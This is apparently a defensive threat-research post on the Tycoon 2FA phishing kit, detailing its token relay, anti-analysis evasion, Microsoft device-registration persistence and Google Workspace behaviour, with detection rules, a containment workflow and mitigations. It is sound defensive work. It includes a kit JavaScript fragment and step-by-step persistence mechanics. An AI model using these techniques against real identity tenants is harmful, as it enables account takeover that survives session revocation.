<p>Despite a coordinated <a href="https://blogs.microsoft.com/on-the-issues/2026/03/04/how-a-global-coalition-disrupted-tycoon/">takedown</a> in March 2026 led by Microsoft and Europol, with support from Cloudflare, SpyCloud, eSentire, and other partners that seized over 300 domains, operators adapted within weeks. By late April 2026, <a href="https://www.esentire.com/blog/tycoon-2fa-infrastructure-update-threat-actors-adapt-following-global-coalition-takedown">eSentire</a> documented campaigns combining Tycoon tradecraft with OAuth Device Code phishing flows, and the kit remains the #1 entry on <a href="https://any.run/malware-trends/tycoon/">ANY.RUN</a>'s malware trends tracker.</p>
<h2>How Tycoon 2FA works</h2>
<h3>The AiTM mechanism</h3>
<p>Tycoon 2FA operates as a reverse proxy between the victim and the legitimate identity provider (Entra ID or Google). It is not a static credential harvester. It proxies the real login flow in real time:</p>
<ol>
<li>The victim receives a phishing email containing a link or QR code embedded in a PDF, SVG, HTML, or PPTX attachment.</li>
<li>The link routes through a multi-layer redirect chain. The kit performs browser fingerprinting, CAPTCHA challenges, and anti-analysis checks before presenting the login page.</li>
<li>The victim sees a pixel-perfect replica of the Microsoft or Google login page, often including the target organization's branding dynamically fetched from the real service.</li>
<li>Credentials are relayed in real time to the legitimate identity provider. The real MFA challenge is triggered and proxied back to the victim.</li>
<li>The victim completes MFA normally. The identity provider issues a session token. The proxy intercepts this token before it reaches the victim's browser.</li>
<li>The attacker now holds a fully authenticated access token.</li>
</ol>
<p>The session cookie is the value the operator monetizes. Once captured, MFA is moot because the operator replays minted tokens post-MFA.</p>
<h3>Two structural variants in current rotation</h3>
<p>Two distinct kit variants we analyzed were in active use:</p>
<p>WebSocket AiTM (the &quot;classic&quot; Tycoon 2FA flow): The victim authenticates through a kit-hosted proxy that forwards traffic to Microsoft or Google over WebSocket (Socket.IO) and captures the post-MFA session cookie. The kit's JavaScript client controller maintains a real-time bidirectional channel to the C2 server, relaying credentials and authentication responses as the victim types. These responses include minted access and refresh tokens for use.</p>
<p>Device-code-grant abuse (Microsoft only): The kit relay obtains a device code from Microsoft's oauth2/devicecode endpoint with Microsoft Authentication Broker (<code>29d9ed98-a469-4536-ade2-f981bc1d605e</code>) as the client, displays it to the victim through a &quot;verification code&quot; lure, and exchanges the code for access/refresh tokens after the victim signs in at the legitimate microsoft.com/devicelogin endpoint.</p>
<h3>Evasion techniques</h3>
<p>The kit employs layered anti-analysis mechanisms confirmed through JavaScript decompilation:</p>
<ul>
<li>IP-based researcher filtering: Before any content is shown, the kit calls <em>api.ipapi.is</em> (or equivalent service) to check the visitor's IP against a blocklist of cloud/hosting providers (Leaseweb, M247, DigitalOcean, Linode, Amazon, OVH, Hetzner, Google, Microsoft, Cloudflare, Akamai, Fastly, stored as reversed strings to evade static scanning). Visitors on cloud infrastructure are redirected to a benign decoy site.</li>
<li>Bot/tool detection: Checks for <em>navigator.webdriver</em> (Selenium), <em>window.callPhantom</em> / <code>window._phantom</code> (PhantomJS), and &quot;Burp&quot; in the user-agent string. Detection triggers a redirect to <em>about:blank</em>.</li>
<li>DevTools blocking: Intercepts keyboard shortcuts for developer tools (F12, Ctrl+Shift+I/J/C, Ctrl+U, macOS equivalents) and disables right-click context menus.</li>
<li>Debugger trap: A <em>setInterval</em> loop running every 100ms inserts a debugger statement and measures execution time. If <em>DevTools</em> are open (execution pauses &gt;100ms), the victim is redirected to a decoy site.</li>
<li>DOM vanishing: Malicious JavaScript removes itself from the <em>DOM</em> after execution, leaving no trace for static inspection.</li>
<li>Per-victim encryption: The payload uses a custom two-stage cipher (Caesar shift + XOR with a PRNG-generated keystream) seeded with per-session values. The seed, key, and encrypted blob are generated server-side for each victim, making static signature detection impossible.</li>
<li>Platform targeting: On Linux desktops, it writes an empty string to blank the page: likely assuming Linux users are more likely to be security researchers.</li>
<li>Fake CAPTCHA: A custom image-grid CAPTCHA replaces Cloudflare Turnstile in the current variant. Unsplash-sourced images in a 3×3 grid provide human verification before the phishing page loads.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image3.png" alt="Example of initial evasion checks (DevTools, right-click, browser check)" title="Example of initial evasion checks (DevTools, right-click, browser check)" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image16.png" alt="Example of a Tycoon custom CAPTCHA page" title="Example of a Tycoon custom CAPTCHA page" /></p>
<p>For Google-targeted campaigns, the first-hop lure is frequently staged on legitimate Google infrastructure, such as Google Storage or Google Sites, though operator-controlled or compromised domains are also observed. When Google's own hosting is used, the <code>storage.googleapis.com</code> or <code>sites.google.com</code> origin provides built-in reputation cover before the victim reaches the AiTM relay.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image7.png" alt="Abuse of Google Storage to host a phishing page" title="Abuse of Google Storage to host a phishing page" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image10.png" alt="Abuse of Google Sites to host a phishing page" title="Abuse of Google Sites to host a phishing page" /></p>
<p>In other instances the victim's email is auto-filled and the &quot;Next&quot; button is auto-clicked: the victim lands directly on the password page, making it look like they're already partially authenticated (increasing trust) :</p>
<pre><code class="language-javascript">
var emailcheck = &quot;victim@email.corp&quot;;
// ...
function tryfindingele(email) {
   emailinputcheck.value = email;
   emailsectionelecheck.querySelector(&quot;.btn-blue-next-btn&quot;).click();
}
if (emailcheck !== &quot;0&quot;) { tryfindingele(emailcheck); }
</code></pre>
<h2>Microsoft 365 / Entra ID</h2>
<h3>A two-tier operational architecture</h3>
<p>Tycoon 2FA's current operational model splits across two distinct infrastructure tiers, each with its own ASN, role, and behavioral signature. Defenders looking for a single pattern will catch one tier and miss the other.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image4.png" alt="" /></p>
<p>Tier 1 - Kit Relay</p>
<p>The automated backend that handles token acquisition and renewal. Characteristics:</p>
<ul>
<li>Cloud-VPS egress IPs from hosting providers (Alibaba Cloud, similar cheap-VPS ASNs), rotating across multiple IPs in different /16 blocks during a single engagement.</li>
<li>Node.js HTTP client user agents: node (bare, default Node.js UA), axios/1.15.2, node-fetch/1.0, undici.</li>
<li>Client app: Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e), later used with <a href="https://learn.microsoft.com/en-us/entra/identity/devices/device-registration-how-it-works">Device Registration Service (DRS)</a> to mint a primaryRefreshToken (PRT).</li>
<li>Token-type progression: incomingTokenType: none (initial victim auth) &gt; refreshToken (kit relay renewal loop, repeated across rotating IPs) &gt; Rogue Device Registration &gt; primaryRefreshToken (PRT replay, broader scope).</li>
<li>Non-interactive sign-ins: After the initial interactive device-code completion, subsequent token operations are server-to-server refreshes.</li>
</ul>
<p>Tier 2 - Operator Console</p>
<p>The human (or human-simulating tool) that performs post-compromise reconnaissance. Characteristics:</p>
<ul>
<li>Residential-shaped ISP or proxy egress, typically a small ASN not present in common hosting-provider threat feeds. Multiple IPs in a single /24, all acting in coordination.</li>
<li>Single browser user agent (e.g., Firefox on Windows) fixed across all IPs in the cluster. A configured tool, not independent users.</li>
<li>Browser-based interactive sign-ins to Microsoft web apps: My Profile, My Signins, Microsoft Approval Management, Outlook Web and OfficeHome.</li>
<li>Single c_sid (client session ID in Graph Activity Logs) shared across all IPs, confirming a single session distributed across the pool.</li>
<li>Operational tempo: Typically appears 10-20 minutes after the kit relay's first successful token issuance. The gap represents the kit-to-operator handoff window.</li>
</ul>
<p>The durable cross-tier detection signal: Two distinct ASNs (one cloud-VPS, one residential-shaped) authenticating as the same user principal within minutes. Single-ASN rules catch one tier; the cross-tier pivot is the high-confidence indicator.</p>
<h3>Post-compromise Graph API enumeration</h3>
<p>Once the operator console has a valid token, a rapid burst of Microsoft Graph API calls follows, typically dozens of requests within 30-60 seconds, hitting high-value reconnaissance endpoints:</p>
<table>
<thead>
<tr>
<th align="left">Recon Category</th>
<th align="left">Example Endpoints</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Role Discovery</td>
<td align="left">transitiveRoleAssignments, memberOf/directoryRole, roleManagement/directory/roleAssignments</td>
<td align="left">Check what Entra ID roles the compromised identity holds</td>
</tr>
<tr>
<td align="left">Cross-Tenant Recon</td>
<td align="left">tenantRelationships/getResourceTenants</td>
<td align="left">Enumerate trusted cross-tenant relationships for lateral movement</td>
</tr>
<tr>
<td align="left">Mailbox Recon</td>
<td align="left">me/mailboxSettings</td>
<td align="left">Read forwarding rules, auto-replies, timezone</td>
</tr>
<tr>
<td align="left">Contact Harvesting</td>
<td align="left">me/contactFolders/contacts ($top=1000)</td>
<td align="left">Dump contact list for next-wave phishing targets</td>
</tr>
<tr>
<td align="left">Org &amp; Licensing</td>
<td align="left">subscribedSkus, organization, appRoleAssignedResources ($top=999)</td>
<td align="left">Map tenant licensing, org structure, app landscape</td>
</tr>
</tbody>
</table>
<p>Key telemetry indicators of automated post-compromise recon:</p>
<ul>
<li>Volume and speed: 20-30+ calls within a 30-60 second window, each hitting a different endpoint.</li>
<li>Mixed HTTP methods: GET for most endpoints, POST for actions like <em>getResourceTenants</em>.</li>
<li>Structured query parameters: <em>$select</em>, <em>$top=999</em>, <em>$count=true</em> - optimized for maximum data extraction per call.</li>
<li>/beta/ API usage: Disproportionately used by offensive tooling versus normal portal navigation.</li>
<li>Mixed success/failure: Some endpoints return 400 or 403 (the kit probes everything regardless), while most return 200. Failed recon attempts are still recon.</li>
<li>Empty C_DeviceId: The token was issued to an unmanaged, unregistered device.</li>
<li>First-party apps with broad pre-consented scopes: Tokens for My Profile carry scopes including <em>RoleManagement.ReadWrite.Directory</em>, <em>MailboxSettings.ReadWrite</em>, <em>UserAuthenticationMethod.ReadWrite</em>, and <em>User.RevokeSessions.All</em> - all pre-consented, requiring no OAuth consent prompt.</li>
</ul>
<h3>Device-PRT persistence</h3>
<p>As stated earlier, the kit can establish device-registration persistence that survives standard session-revocation playbooks. The mechanism:</p>
<ol>
<li>MAB refresh token is resource-swapped at <em>oauth2/token</em> for an access token whose <em>aud</em> is <em>urn:ms-drs:enterpriseregistration.windows.net</em> (same client ID, new audience, no consent prompt).</li>
<li>The kit uses the <em>urn:ms-drs:enterpriseregistration.windows.net</em> access token to POST endpoint <em>EnrollmentServer/device</em> with a locally-generated PKCS#10 CSR, synthetic device metadata and transport key blob. DRS creates a device object, assigns a device ID, signs and returns a device certificate.</li>
<li>The kit builds a JWT containing the user’s refresh token, signs it RS256 with the device private key, and embeds the device certificate in the JWT header. It POSTs this to <em>login.microsoftonline.com/common/oauth2/token</em> as a JWT bearer grant. Entra validates the signature against the cert and returns the PRT plus a session key encrypted (JWE).</li>
<li>When a defender fires <em>revokeSignInSessions</em> (which invalidates all user-level tokens and refresh tokens), the device PRT remains valid because the device is a separate principal in Entra ID.</li>
<li>From the new relay IPs, the kit uses the PRT plus session key to sign per-request <em>HMAC-SHA256</em> assertions to <em>/oauth2/token</em>, brokering access tokens for any first-party <code>client_id</code> it names (Teams, Outlook, OneDrive, Office, Intune).</li>
</ol>
<h3>Why doesn't revoking sessions stop Tycoon 2FA?</h3>
<p>This means the standard incident response sequence of &quot;revoke sessions &gt; reset password&quot; is insufficient. Defenders must enumerate and delete registered devices before revoking sessions to break the device-PRT chain atomically.</p>
<h3>Detection nuances - Microsoft</h3>
<p><strong>Identity Protection may not flag kit infrastructure.</strong> Tycoon 2FA's current egress IPs rotate aggressively and may not be in Microsoft's risk corpus. Defenders relying solely on Entra ID risk signals for AiTM detection will see nothing.</p>
<p><strong>c_sid in Graph Activity Logs is NOT the user object ID.</strong> It's a session/security-context identifier. Analysts filtering Graph Activity Logs by <code>c_sid == user_object_id</code> will get empty results and conclude the attacker didn't use Graph tokens. The correct hunt pivot is source IP + appId, cross-referenced with sign-in logs to map IP to user.</p>
<p><strong>Geolocation is unreliable for cloud-provider IPs.</strong> The same kit relay IP can geolocate to different cities within the same sign-in session. ASN is the only reliable enrichment for detection rules.</p>
<p><strong>Token minting visibility.</strong> Token minting or issuance is not logged; authentication events leveraging these tokens propose a more reactive hunting signal.</p>
<p><strong>Entra ID Protection Risky User Status.</strong> Entra ID protection analyzes sign-in events, sessions, tokens and more to apply a risk level and status to users. <em>aiConfirmedSafe</em> was observed during tier 2 relay, marking the user with no risk. Then User Risk anomalies were identified based on <em>anomalousToken</em> which then placed the user back into a medium risk. Simply excluding events where <em>aiConfirmedSafe</em> can blind organizations to false-negatives from Microsoft’s labeling.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image19.png" alt="" /></p>
<h2>Google Workspace</h2>
<h3>Single-tier kit relay</h3>
<p>The Google variant operates as a single-tier kit relay without the distinct operator console tier seen on the Microsoft side. Multiple kit relay IPs (typically from cheap hosting ASNs like Clouvider, Host Telecom, or similar) authenticate the same user within minutes, each performing the same four-event sequence:</p>
<ol>
<li><code>login_success</code>  password validated (T+0.000s)</li>
<li><code>login_verification</code> with <code>is_second_factor: true</code> - kit relays the TOTP/SMS/push code in real time, completing 2SV (T+0.000s)</li>
<li>token: authorize for Google's Chrome OAuth client (77185425430) (T+0.4 to 0.6s)</li>
<li><code>DEVICE_REGISTER_UNREGISTER_EVENT</code> (new device is registered by Google due to profile authentication) (T+0.6 to 1.2s)</li>
</ol>
<p>That ~1-second compression is a signal of automated logins.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image13.png" alt="" /></p>
<p>The kit consistently authorizes the same OAuth client across every relay session:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">google_workspace.token.client.id</td>
<td align="left">77185425430.apps.googleusercontent.com</td>
</tr>
<tr>
<td align="left">google_workspace.token.app_name</td>
<td align="left">Google Chrome</td>
</tr>
<tr>
<td align="left">google_workspace.token.client.type</td>
<td align="left">NATIVE_DESKTOP</td>
</tr>
<tr>
<td align="left">google_workspace.device.type</td>
<td align="left">WINDOWS</td>
</tr>
<tr>
<td align="left">google_workspace.token.scope.value</td>
<td align="left"><a href="https://www.google.com/accounts/OAuthLogin">https://www.google.com/accounts/OAuthLogin</a></td>
</tr>
<tr>
<td align="left">google_workspace.token.method_name</td>
<td align="left">authorize</td>
</tr>
</tbody>
</table>
<p>The <em>OAuthLogin</em> scope is Chrome's internal bootstrap sign-in scope. It is not a data-plane scope (it does not by itself grant Gmail, Drive, or Calendar access). The kit's blast radius from this single scope is bound to a long-lived sign-in capable of becoming a Chrome Sync session, not direct mailbox or file access without further token-exchange calls.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image15.png" alt="" /></p>
<p>What the <em>token.authorize</em> event from a VPS ASN confirms is that the authorization happens server-side during the relay, not from the victim's device, making it suspicious regardless of operator intent.</p>
<h3>Kit JavaScript architecture (Google variant)</h3>
<p>Decompilation of the Google-targeting WebSocket variant reveals a 5-layer architecture:</p>
<table>
<thead>
<tr>
<th align="left">Layer</th>
<th align="left">Function</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">1. Anti-Analysis</td>
<td align="left">IP filtering via api.ipapi.is (cloud provider blocklist with reversed strings), bot/debugger detection, DOM vanishing</td>
</tr>
<tr>
<td align="left">2. Phishing HTML</td>
<td align="left">~747KB base64-decoded Google sign-in clone with 15 input fields covering every Google auth method</td>
</tr>
<tr>
<td align="left">3. WebSocket C2</td>
<td align="left">Socket.IO 4.6.0 real-time relay (send_to_browser / response_from_browser events)</td>
</tr>
<tr>
<td align="left">4. Encrypted Payload</td>
<td align="left">Per-victim Caesar+XOR cipher (LCG PRNG, unique seed per session), eval()'d at runtime</td>
</tr>
<tr>
<td align="left">5. Libraries</td>
<td align="left">CryptoJS 4.2.0 for AES-CBC credential encryption (hardcoded key 1234567890123456 to encrypt collected credentials), list.js</td>
</tr>
</tbody>
</table>
<p>The 15 input fields capture every Google 2FA method: password, TOTP, SMS, voice call, backup codes, recovery email, phone verification, security key fallback, mobile prompt, and forced password change. The “recieveid” Socket.IO event name (note the typo) is a consistent kit fingerprint.</p>
<h3>Detection nuances - Google</h3>
<p><strong>Google Alert Center may stay silent.</strong> Even when multiple sign-ins from multiple ASNs hit the same user within minutes, Alert Center records may not flow to the Alert API. Google's victim-mailbox security alert emails are not a substitute, since they go to the compromised user's inbox, not the admin surface.</p>
<p><strong>is_suspicious may not fire.</strong> Kit relay IPs from cheap hosting ASNs may not be in Google's risk corpus. Defenders relying on this field as a primary signal will have blind spots. In the canary engagement, <code>is_suspicious</code> was false on every <code>login_success</code> from all four kit IPs across both Clouvider and Host Telecom.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image11.png" alt="" /></p>
<p><strong>No user-agent on login events:</strong> The Reports API login events do not include user-agent or device-fingerprint data. The UA-based detections that work on the Entra side (node / axios / undici) have no direct Google equivalent.</p>
<p><strong>OAuth workflow visibility is shallow:</strong> Google's <em>token.authorize</em> event surfaces <em>client.id</em>, <em>app_name</em>, <em>client.type</em>, and <em>scope.value</em>, and that's the full set. There is no <em>resource_id</em> distinct from scope, no grant-type field, and no incoming-token-type field.</p>
<p><strong>Most auxiliary streams stay quiet:</strong> no <em>google_workspace.context_aware_access</em> events fired (despite five new device records on the user) and no Alert Center records reached the Alert API. The kit footprint lives in three streams only: login, token, and device. Hunts that depend on any other stream will not detect this kit.</p>
<h2>Tycoon 2FA across Entra ID and Google Workspace</h2>
<table>
<thead>
<tr>
<th align="left">Dimension</th>
<th align="left">Microsoft 365 (Entra ID)</th>
<th align="left">Google Workspace</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Kit relay infrastructure</td>
<td align="left">Cloud-VPS hosting ASNs, rotating IPs</td>
<td align="left">Cloud-VPS hosting ASNs, rotating IPs</td>
</tr>
<tr>
<td align="left">Kit relay user agents</td>
<td align="left"><code>node</code>, <code>axios</code>, <code>undici</code>, <code>node-fetch</code></td>
<td align="left">Not exposed (Reports API lacks UA)</td>
</tr>
<tr>
<td align="left">Auth flow targeted</td>
<td align="left">Auth Broker device-code grant</td>
<td align="left">Google Chrome OAuth sign-in</td>
</tr>
<tr>
<td align="left">Persistence scope</td>
<td align="left">Device registration leading to primaryRefreshToken (PRT)</td>
<td align="left">Not observed</td>
</tr>
<tr>
<td align="left">Persistence durability</td>
<td align="left">High - device-PRT can survive session revocation</td>
<td align="left">Low - single OAuth revoke sufficient</td>
</tr>
<tr>
<td align="left">Operator console tier</td>
<td align="left">Yes - residential-proxy IPs, browser-based M365 web app recon</td>
<td align="left">Not observed</td>
</tr>
<tr>
<td align="left">Risk engine flagged kit egress</td>
<td align="left">Yes - User Risk detection for <em>anomalousToken</em></td>
<td align="left">No (<code>is_suspicious</code> silent)</td>
</tr>
<tr>
<td align="left">SOC log latency</td>
<td align="left">&lt;5 minutes (sign-in logs near-real-time)</td>
<td align="left">Up to ~3 hours (Reports API lag)</td>
</tr>
<tr>
<td align="left">CA / policy defense available</td>
<td align="left">Block device-code-flow CA &gt; clean 53003 rejection</td>
<td align="left">No equivalent policy</td>
</tr>
<tr>
<td align="left">Kill-switch complexity</td>
<td align="left">Must delete registered devices before revoking sessions</td>
<td align="left">Single OAuth revoke sufficient</td>
</tr>
</tbody>
</table>
<p>The M365 variant is operationally heavier, and logging provides extensive detail before and after identity compromise. The Google Workspace variant is lighter (only sign-ins were observed), but default logging lacks important context.</p>
<h2>Tycoon 2FA behavior detection rules</h2>
<p>We shipped detection rules across Microsoft and Google telemetry sources covering the full attack chain: initial AiTM phish, token relay, operator console recon and device persistence.</p>
<h3>Microsoft - Kit relay detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_tycoon_entra_id.toml#L27">Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA)</a> -  This is a high signal detection that triggers on Auth Broker or OfficeHome sign-ins to Graph/Exchange with Node.js-style user agents (<code>node</code>, <code>axios</code>, <code>undici</code>). Catches the kit relay tier's server-side token operations.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image5.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/o365/initial_access_tycoon_o365.toml#L28">M365 Potential AiTM UserLoggedIn via Office App (Tycoon2FA)</a> - Same detection logic as the Entra sign-in rule but against the M365 Unified Audit Log for tenants ingesting <code>o365.audit</code> instead of (or in addition to) Entra sign-in logs.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image14.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_entra_id_oauth_device_code_phishing_tycoon_aitm.toml#L27">Entra ID OAuth Device Code Phishing via AiTM</a> :  Detects successful interactive device-code-flow sign-ins through the Auth Broker targeting Exchange, Graph, or SharePoint. Catches the device-code-grant abuse variant specifically.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_entra_id_microsoft_auth_broker_unusual_resource.toml#L28">Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource</a> : Detects successful Auth Broker sign-ins where the target resource is outside the commonly-observed first-party set. Catches FOCI token exchange to unexpected APIs or enterprise applications.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image6.png" alt="" /></p>
<h3>Microsoft - Persistence detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/8089df918f81850b28dfc3e691495f55bf30c94a/rules/integrations/azure/persistence_entra_id_register_device_unusual_user_agent.toml#L26">Entra ID Register Device with Unusual User Agent (Azure AD Join)</a> :  Detects successful device registration events where the user agent is not one of the known native registration clients <em>(<code>Dsreg</code>, <code>DeviceRegistrationClient</code>, <code>Dalvik</code>)</em>. Catches the kit's device-PRT persistence play also originating from the axios user agent:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image12.png" alt="" /></p>
<h3>Post-compromise Graph API enumeration (ES|QL)</h3>
<p>For the operator console tier's post-compromise recon, we built an ES|QL <a href="https://github.com/elastic/detection-rules/blob/b87d2f58938f67c3b74bf5ae334fad06371d4dac/rules/integrations/azure/discovery_graph_activity_delegated_user_multi_category_recon.toml">rule</a> that tags each Microsoft Graph API request into one of five reconnaissance categories and fires when 4 or more distinct categories are hit within the aggregation window (&lt;= 60s):</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image18.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/d623721ec303064d1f47bcea15ae5bc3062f2b54/rules/integrations/azure/discovery_graph_activity_delegated_user_multi_category_recon.toml#L26">Microsoft Graph Multi-Category Reconnaissance Burst</a> catches systematic post-compromise enumeration while filtering out organic portal usage. Normal user activity might touch one or two of these categories, hitting 4 or more distinct recon categories from a single session within a short window (33 seconds) is the automated-tooling fingerprint.</p>
<h3>Google - Kit relay and persistence detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/3ad97fe42d0862ef3c7a93cd54afebfcee4eaac0/rules/integrations/google_workspace/initial_access_google_workspace_login_impossible_travel.toml">Google Workspace Impossible Travel Login</a> -  ES|QL rule using <a href="https://www.elastic.co/kr/docs/reference/query-languages/esql/functions-operators/spatial-functions/st_distance">*<code>st_distance()</code></a>* geospatial functions to detect successful sign-ins from locations implying travel faster than 800 km/h with at least 500 km separation. Catches the multi-ASN kit relay pattern where multiple IPs in different geolocations authenticate the same user within minutes:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image2.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/696b276e628b5663a78e35c02be3d2798a318479/rules/integrations/google_workspace/initial_access_google_workspace_login_from_atypical_asn.toml">Google Workspace User Login from Atypical ASN</a> - <a href="https://www.elastic.co/kr/docs/solutions/security/detect-and-alert/new-terms">new term</a> rule that detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/8089df918f81850b28dfc3e691495f55bf30c94a/rules/integrations/google_workspace/persistence_google_workspace_device_registered_after_oauth_from_suspicious_asn.toml#L27">Google Workspace Device Registration After OAuth from Suspicious ASN</a> : EQL sequence rule detecting OAuth authorization for the Chrome client (<code>77185425430.apps.googleusercontent.com</code>) from cheap hosting ASN, followed within 30 seconds by a device registration with account state <code>REGISTERED</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image8.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/0236027f5a3a675608dbec29d15dc994916e2f13/rules/integrations/google_workspace/persistence_google_workspace_device_registration_burst.toml">Google Workspace Device Registration Burst for Single User</a> - Detects bursts of Google Workspace device registration events for the same user, where three or more distinct<br />
<code>google_workspace.device.id</code> values are emitted in a one-minute window :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image1.png" alt="" /></p>
<h2>Automating containment with Elastic Workflows</h2>
<p>Once the detection content is in place, the next gap is the time between alert and action. The Tycoon 2FA M365 kit-to-operator handoff window we documented earlier is 10-20 minutes, the time between the kit relay's first successful token issuance and the operator-tier session beginning its post-compromise Graph recon.</p>
<p>A manual SOC response routinely takes longer than that window, which is why the operator gets recon work done before containment lands. Closing that gap is what makes detection actionable.</p>
<p><a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">Elastic Workflows</a>, shipped with the stack (9.4+), lets detection rules invoke custom <a href="https://github.com/elastic/workflows">workflows</a> with a YAML-defined pipeline of steps on every alert.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image17.png" alt="" /></p>
<p>As a PoC, we built a custom workflow wired to an <a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_tycoon_entra_id.toml#L27">Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA)</a> detection rule that mirrors the required response actions.</p>
<p>On every alert the workflow:</p>
<ol>
<li>Acquires a Graph bearer via <code>client_credentials</code> (one-time per execution).</li>
<li>PATCHes the compromised UPN with <code>accountEnabled: false</code> to halt new authentications.</li>
<li>Enumerates <em>registeredDevices</em> and <em>ownedDevices</em> on the user.</li>
<li>DELETEs each device principal, which is what actually invalidates a device-bound PRT.</li>
<li>POSTs to <em>revokeSignInSessions</em> to invalidate user-level refresh tokens and session cookies.</li>
<li>Opens a Kibana case populated with the alert context for post-IR audit (password reset, auth method review, OAuth grant audit).</li>
</ol>
<p>The chain executes in less than 10 seconds end-to-end against Microsoft Graph, well inside the 10-20 minute Tycoon 2FA handoff window. The operator-tier session never gets a chance to begin recon.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image9.png" alt="Account disabled and all associated refresh tokens and devices invalidated." title="Account disabled and all associated refresh tokens and devices invalidated." /></p>
<p>The pattern scales beyond this one rule. The same workflow shape works for any cloud-identity detection that benefits from immediate containment: AiTM sign-ins, impossible travel, illicit OAuth consent grants, role escalation, MFA fatigue, anomalous device registration. Wire the rule to a workflow that calls the relevant cloud API and the SOC gets seconds-level containment.</p>
<h2>Defending against Tycoon 2FA AiTM attacks</h2>
<ul>
<li>Deploy phishing-resistant MFA: FIDO2 security keys and passkeys are the only methods immune to AiTM session theft. TOTP, SMS, and push-based MFA can all be proxied.</li>
<li>Enforce device compliance via Conditional Access: Require managed, compliant devices for token issuance. This is the single most effective control against AiTM token theft.</li>
<li>Block device code flows: The <code>Block device code flow</code> Conditional Access policy cleanly rejects the kit relay at the grant phase (error 53003). Enable it for all users except explicitly approved kiosk/headless scenarios.</li>
<li>Enable token protection (token binding): <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection">Binds</a> tokens to the device they were issued to. A stolen token replayed from a different device is rejected.</li>
<li>Enable Continuous Access Evaluation (CAE): Near real-time token revocation when risk conditions change.</li>
<li>Enable Security Defaults in Entra ID (only for tenants without custom Conditional Access): rejects legacy authentication such as ROPC and blocks device code flow by default. Enabling Security Defaults disables custom CA policies, so this is not applicable to tenants already running granular CA.</li>
</ul>
<h2>MITRE ATT&amp;CK Mapping</h2>
<table>
<thead>
<tr>
<th align="left">Technique</th>
<th align="left">ID</th>
<th align="left">Observable</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Phishing: Spearphishing Link</td>
<td align="left">T1566.002</td>
<td align="left">Lure emails with embedded links, QR codes, PDF/SVG/HTML attachments</td>
</tr>
<tr>
<td align="left">Steal Web Session Cookie</td>
<td align="left">T1539</td>
<td align="left">AiTM proxy captures post-MFA session tokens</td>
</tr>
<tr>
<td align="left">Valid Accounts: Cloud Accounts</td>
<td align="left">T1078.004</td>
<td align="left">Stolen tokens used for Graph API access and M365 web app browsing</td>
</tr>
<tr>
<td align="left">Account Manipulation: Device Registration</td>
<td align="left">T1098.005</td>
<td align="left">Kit registers device for PRT persistence</td>
</tr>
<tr>
<td align="left">Use Alternate Authentication Material: Application Access Token</td>
<td align="left">T1550.001</td>
<td align="left">FOCI token exchange across Auth Broker app family</td>
</tr>
<tr>
<td align="left">Account Discovery: Cloud Account</td>
